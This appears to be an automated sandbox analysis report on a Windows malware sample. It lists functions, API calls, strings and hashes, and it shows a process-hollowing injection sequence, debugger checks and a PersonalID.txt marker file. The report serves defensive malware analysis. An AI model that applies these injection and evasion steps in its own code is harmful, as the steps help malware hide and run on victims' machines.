Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 000b75c40abfddb6a773008a46a172c0f10a4fdf0ec02046ba9b93d0a566c0a6
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: d807934b8e020453535ed9747e0ec46d28a73b7d1425de7a99b3f0a23d996b97
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: d807934b8e020453535ed9747e0ec46d28a73b7d1425de7a99b3f0a23d996b97
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: lzShU2RYJa.exePID: 7448, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05E00110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05E00156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05E0016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05E00255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05E00270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05E00283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05E0029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E002C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05E002E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05E00304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05E0032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05E00399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E003BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05E003E1
ResumeThread.KERNELBASE(00000000), ref: 05E003ED
ExitProcess.KERNEL32(00000000), ref: 05E00412

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 7737c4cfad44ff5c483b8a99408f6fd2d51dd5bb521505fdac6b2604a48839fa
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: C7B1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E549AB395D771AD81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E00420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05E00533

Strings

d, xrefs: 05E00584
mfoaskdfnoa, xrefs: 05E00520, 05E00523
saodkfnosa9uin, xrefs: 05E004DA
0, xrefs: 05E00492

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: a02b74ff989648731fc21d0eb007397e0ddcd4ac054b0ef28920a28826b8c25e
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 0E511A70D08388DAEB11CBD8C849BEDBFB2AF15708F145058D5847F2C6C7BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 05E005B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05E005EC

Strings

apfHQ, xrefs: 05E005E2, 05E005E5
o, xrefs: 05E00600

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: f2637b24dfe0b5132da94b41a044c0f5d9c8d12f5f791958e2132a141a83e5ce
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 32011E70C0424CEADB10DB98C5183EEBFB5AF41308F589099C4492B281D7769B98CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 043EE7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 043EE7EE
Module32First.KERNEL32(00000000,00000224), ref: 043EE80E

Memory Dump Source

Source File: 00000003.00000002.1672708440.00000000043EE000.00000040.00000020.00020000.00000000.sdmp, Offset: 043EE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_43ee000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 49110cb7c418e2e085caf76455e4ddbe0fd1875e4e1deaf06768c412efd9ae79
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: AEF096352017206FE7203FF6A88EB7E76E8AF49725F101528F642914C0DB70F8468A61

Uniqueness

Uniqueness Score: -1.00%

Function 043EE485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 043EE4D6

Memory Dump Source

Source File: 00000003.00000002.1672708440.00000000043EE000.00000040.00000020.00020000.00000000.sdmp, Offset: 043EE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_43ee000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c7b967418011de181e86ea03f742485af396c584032768125c33b376eccfce17
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 12113C79A00208EFDB01DF99C985E99BFF5AF08351F058094F9489B3A1D371EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E26437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E2644E

Part of subcall function 05E29636: __calloc_impl.LIBCMT ref: 05E29645

__calloc_crt.LIBCMT ref: 05E26472
_free.LIBCMT ref: 05E26480
__calloc_crt.LIBCMT ref: 05E2648E
_free.LIBCMT ref: 05E2649E
_free.LIBCMT ref: 05E264A4
__copytlocinfo_nolock.LIBCMT ref: 05E264B3
__setmbcp_nolock.LIBCMT ref: 05E264D4
_free.LIBCMT ref: 05E264E2
___removelocaleref.LIBCMT ref: 05E264E9
___freetlocinfo.LIBCMT ref: 05E264F0
_free.LIBCMT ref: 05E264F6

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: ebb9cd77f5a13b1f8e495968fde11efc27dc42c271abd5d995eb73432cd6e1a4
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: B321F631344230AEFB357F65DC09D5B7BE5FF41664F50A51DE4C6590A8EF228650CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05E23F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E23F51

Part of subcall function 05E25BA8: __getptd_noexit.LIBCMT ref: 05E25BA8

__gmtime64_s.LIBCMT ref: 05E23FEA
__gmtime64_s.LIBCMT ref: 05E24020
__gmtime64_s.LIBCMT ref: 05E2403D
__allrem.LIBCMT ref: 05E24093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E240AF
__allrem.LIBCMT ref: 05E240C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E240E4
__allrem.LIBCMT ref: 05E240FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E24119
__invoke_watson.LIBCMT ref: 05E2418A

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: e45c9147fd96402809c9cc80cb6fb854f28d8f02f79563c63aa8cea258c68539
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 2E71F671B00736ABFB249E79CC49BAAB3B9BF04324F14522AE594D76C4E774D9408B90

Uniqueness

Uniqueness Score: -1.00%

Function 05E2650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E26547
__calloc_crt.LIBCMT ref: 05E26598
__lock.LIBCMT ref: 05E265AE
__copytlocinfo_nolock.LIBCMT ref: 05E265BF
_wcscmp.LIBCMT ref: 05E265F9
__lock.LIBCMT ref: 05E26610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E26622
___removelocaleref.LIBCMT ref: 05E26628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E26647

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 222a4aa2abecbb21067646c78c019d720173a0de601ee9cae4121a3f6d51dbd1
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: A6414732A08324AFEF00AFA4DD88B9E3BE5FF44314F10A52DE5949A1D8DF719644DB51

Uniqueness

Uniqueness Score: -1.00%

Function 05E284AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E284B1
_free.LIBCMT ref: 05E284E2
_free.LIBCMT ref: 05E284F5
_free.LIBCMT ref: 05E28513
_free.LIBCMT ref: 05E28525
_free.LIBCMT ref: 05E28536
_free.LIBCMT ref: 05E28541
_free.LIBCMT ref: 05E28565
_free.LIBCMT ref: 05E28581
_free.LIBCMT ref: 05E28597
_free.LIBCMT ref: 05E285BF

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: b0fd9c8502da7334ac579640b3e211aabc56cd890feacae5d810f323669cecea
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 9231F431A48774CBDB205F14FC84C4937A4FF14324305A26EE9C5532A8CBB16AC8EF90

Uniqueness

Uniqueness Score: -1.00%

Function 05E4FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E4FC1F

Part of subcall function 05E3169C: std::exception::_Copy_str.LIBCMT ref: 05E316B5

__CxxThrowException@8.LIBCMT ref: 05E4FC34
std::exception::exception.LIBCMT ref: 05E4FC4D
__CxxThrowException@8.LIBCMT ref: 05E4FC62
std::regex_error::regex_error.LIBCPMT ref: 05E4FC74

Part of subcall function 05E4F914: std::exception::exception.LIBCMT ref: 05E4F92E

__CxxThrowException@8.LIBCMT ref: 05E4FC82
std::exception::exception.LIBCMT ref: 05E4FC9B
__CxxThrowException@8.LIBCMT ref: 05E4FCB0

Strings

leM, xrefs: 05E4FCA8

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 05dd5ea46bf34eaea3007fec61b893972d26798a74268fb7ccf16e745d842593
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: A711EC79E0020DBBCF04FFA5E459CDEBB7CAA04244B409566AD5497240EB74A348CB99

Uniqueness

Uniqueness Score: -1.00%

Function 05E0F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05E0F01F

Part of subcall function 05E21602: __FF_MSGBANNER.LIBCMT ref: 05E21619
Part of subcall function 05E21602: __NMSG_WRITE.LIBCMT ref: 05E21620

_malloc.LIBCMT ref: 05E0F02B
_wprintf.LIBCMT ref: 05E0F03E
_free.LIBCMT ref: 05E0F044
_free.LIBCMT ref: 05E0F065
_malloc.LIBCMT ref: 05E0F06D
_sprintf.LIBCMT ref: 05E0F0C0
_wprintf.LIBCMT ref: 05E0F0D2
_wprintf.LIBCMT ref: 05E0F0DC
_free.LIBCMT ref: 05E0F0E5

Memory Dump Source

